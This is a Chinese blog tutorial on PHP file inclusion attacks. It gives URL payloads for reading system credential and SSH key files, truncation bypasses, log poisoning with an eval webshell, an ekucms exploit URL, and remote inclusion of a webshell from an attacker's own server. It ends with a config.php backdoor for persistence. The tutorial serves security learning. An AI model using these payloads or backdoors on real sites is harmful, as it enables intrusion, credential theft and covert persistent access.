写点什么

php 的一些漏洞梳理

用户头像
依旧廖凯
关注
发布于: 2021 年 03 月 16 日

以下主要是近期对 php 一些常见漏洞的梳理,包含 php 文件包含、php 反序列化漏洞以及 php 伪协议。其中

# php反序列参考链接:https://www.cnblogs.com/xiaoqiyue/p/10951836.html# php伪协议参考链接:https://www.cnblogs.com/endust/p/11804767.html
复制代码

一、php 文件包含漏洞

在开发中,开发人员会将一些重复使用的代码函数汇总放到单个文件中,需要使用某个函数时直接调用此文件。这个调用过程称为文件包含。为了使代码更灵活,将被包含的文件设置为变量用来进行动态调用。这就导致客户端可以调用一个恶意文件,造成文件包含漏洞。文件包含漏洞在 php 中居多。造成执行任意代码、包含恶意文件控制网站、敏感文件读取等危害

1.常见包含函数

  • include():执行到 include 时才包含文件,找不到被包含文件时产生警告,但是脚本继续执行。

  • require():程序一运行就包含文件,找不到被包含的文件产生致命错误,脚本停止运行

  • include_once&require_once():这两个函数行为与 include/require 类似,区别在于他们只做一次包含,即如果文件中代码已经被包含则不会再次被包含

2.利用条件

  • 程序用 include()等文件包含函数通过动态变量的方式引入需要包含的文件

  • 用户能够控制该动态变量

  • 配置文件 php.ini 中参数 allow_url_fopen=open,此参数默认为 open

  • 远程包含则需要 php.ini 中参数 allow_url_include=open,此参数默认为 close

3.包含分类

  • 本地文件包含:上传带有 shell 代码的任意格式文件,利用文件包含漏洞将该文件当作脚本格式解析。

  • 远程文件包含:在远程服务器上放置大马以此绕过杀软提权

4.利用方法

  • 包含日志文件 getshell

  • 包含 data:或 php://input 等伪协议

  • 若有 phpinfo 则可以包含临时文件

  • 如果一个网站有文件包含但是无法 getshell,尝试在旁站上上传图片马,然后进行文件包含拿 shell

5.实例

假如目标网站有 news.php 文件,文件内容为:

<?php$test=$_GET['id'];   include($test);?>
复制代码


此时该文件存在文件包含漏洞。include 函数通过动态变量的方式引入需要包含的文件,若用户能控制该变量;在同级目录下上传 test.txt 文件,内容为:

<?php phpinfo()?>
复制代码


  • 此时访问测试:http://192.168.1.3/fileinclude/news.php?id=test.txt。将 test.txt 文件传送给 id 参数并复制给 test 变量,然后 txt 文件被当作 php 脚本脚本文件执行。

  • 同时也可以任意包含,根据物理路径读取服务器敏感文件:

# 常见敏感文件lhttp://192.168.1.3/fileinclude/news.php?id=c:\\1.txtwww.test.com/test.php?test=../../../../../etc/passwodwww.test.com/test.php?test=/etc/shadowwww.test.com/test.php?test=/etc/php5/apache2/php.iniwww.test.com/test.php?test=/etc/mysql/my.cnfwww.test.com/test.php?test=/etc/apache2/apache2.conf------------------------------------------------------------------------------windows敏感文件:c:\\boot.ini# 查看系统版本c:\\windows\\system32\\inetsrv\\metabase.xml# 查看iis配置文件c:\\windows\\repair\\sam# 存储系统初次安装的密码c:\\program files\\mysql\\my.ini# mysql配置文件c:\\program files\\mysql\\data\\mysql\\user.myd# mysql root密码c:\\windows\\php.ini# php配置信息c:\\windows\\my.ini# mysql配置信息-------------------------------------------------------------------------------/root/.ssh/authorized_keys/root/.ssh/id_rsa/root/.ssh/id_ras.keystore/root/.ssh/known_hosts/etc/passwd/etc/shadow/etc/my.cnf/etc/httpd/conf/httpd.conf/root/.bash_history/root/.mysql_history/proc/self/fd/fd[0-9]*(文件标识符)/proc/mounts/porc/config.gz
复制代码


6.附加后缀截断

例如包含读取/etc/passwd 文件,网站源码会给一个后缀形成如:/etc/passwd.php,导致无法读取文件内容。具体代码如下,此时该代码存在文件包含漏洞,由于在漏洞利用被包含的文件会被添加上.php 后缀,无法直接利用。

<?php$test=$_GET['id'];   include($test).'.php';?>
复制代码

绕过方法一:%00 截断

http://www.test.com/test/a.php?c=1.txt%00

注意:%00 截断包含适合 php 版本<5.3.4,对应版本的配置文件 magic_quotes_gps=off,才能够进行绕过,否则 %00 会被转义。


绕过方法二:文件名附加./././././.进行长度截断

http://www.test.com/test/a.php?c=1.txt/././././././././././././././././././....

注意:Windows 服务器字节长度应大于 256,Linux 要大于 4096


7.包含日志拿 shell

#文件包含漏洞读取apache配置文件index.php?page=/etc/init.d/httpdindex.php?page=/etc/httpd/conf/httpd.conf#Linux默认访问url的日志/var/log/httpd/access_log #网站访问日志无权限访问,但是cms本身会记录错误日志,这种日志可以访问
复制代码

拿 shell 步骤

  • 访问../file.php?id=1<?php @eval($_POST[a]);?>

  • 后台在/var/log/httpd/acess_log 会生成带有一句话的日志,相当与将一句话以.log 形式写入了网站目录

  • 然后根据文件包含漏洞>连接../file.php?file=…/…/…/…/var/log/httpd/acess_log,getshell


实例:ekucms 某版本存在文件包含漏洞

①通过访问该 url,将一句话木马写入日志文件中

http://192.168.1.3/ekucms2.4.1/?s=my/show/id/{~eval($_POST[x])}

②该日志是以时间日期命名的,用菜刀连接该日志文件,得到 shell

http://192.168.1.3/ekucms2.4.1/?s=my/show/id/\..\temp\logs\200518.log


8.读源代码

直接读取 php 文件返回的是代码编译解析后的结果,并不能看到源代码。

http://192.168.1.3/news.php?id=shell.php

此时可以使用封装伪协议读取:

http://192.168.1.3/news.php?id=php://filter/read=convert.base64-encode/resource=shell.php//核心代码:id=php://filter/read=convert.base64-encode/resource=//读出源代码,原理是将文件内容进行base64加密,使代码不运行解析,直接读出源代码。
复制代码


9.远程文件包含

远程文件包含文件名不能为 php 可解析的扩展名。另外远程文件包含要确保 php.ini 中 allowurlfopen 和 allowurlinclude 状态为 on。为躲避杀软将大马放到自己的 vps 上然后远程包含。

http://192.168.1.3/1.php?file=http://www.xxxx.com/1.png

远程包含限制绕过后缀名限制:

#源代码<?php include($_GET['filename'] . ".html"); ?>
复制代码


绕过方法:

filename=http://www.xxx.com/FI/php.txt?filename=http://www.xxx.com/FI/php.txt%23filename=http://www.xxxi8.com/FI/php.txt%20filename=http://www.xxx.com/FI/php.txt%00
复制代码


利用远程文件包含进行权限维持

include 代码不会报毒。所以我们在 getshell 后在网站配置文件中写入包含代码(如:config.php,<?php include($_GET['x']);?>管理员一般不会修改配置文件源代码)里面插入文件包含代码。如果目标 allow_url_fopen 和 allow_url_include 状态都为 on。既可以永久进行远程包含,达到权限维持的目的。


用户头像

依旧廖凯

关注

还未添加个人签名 2021.02.27 加入

还未添加个人简介

评论

发布
暂无评论
php的一些漏洞梳理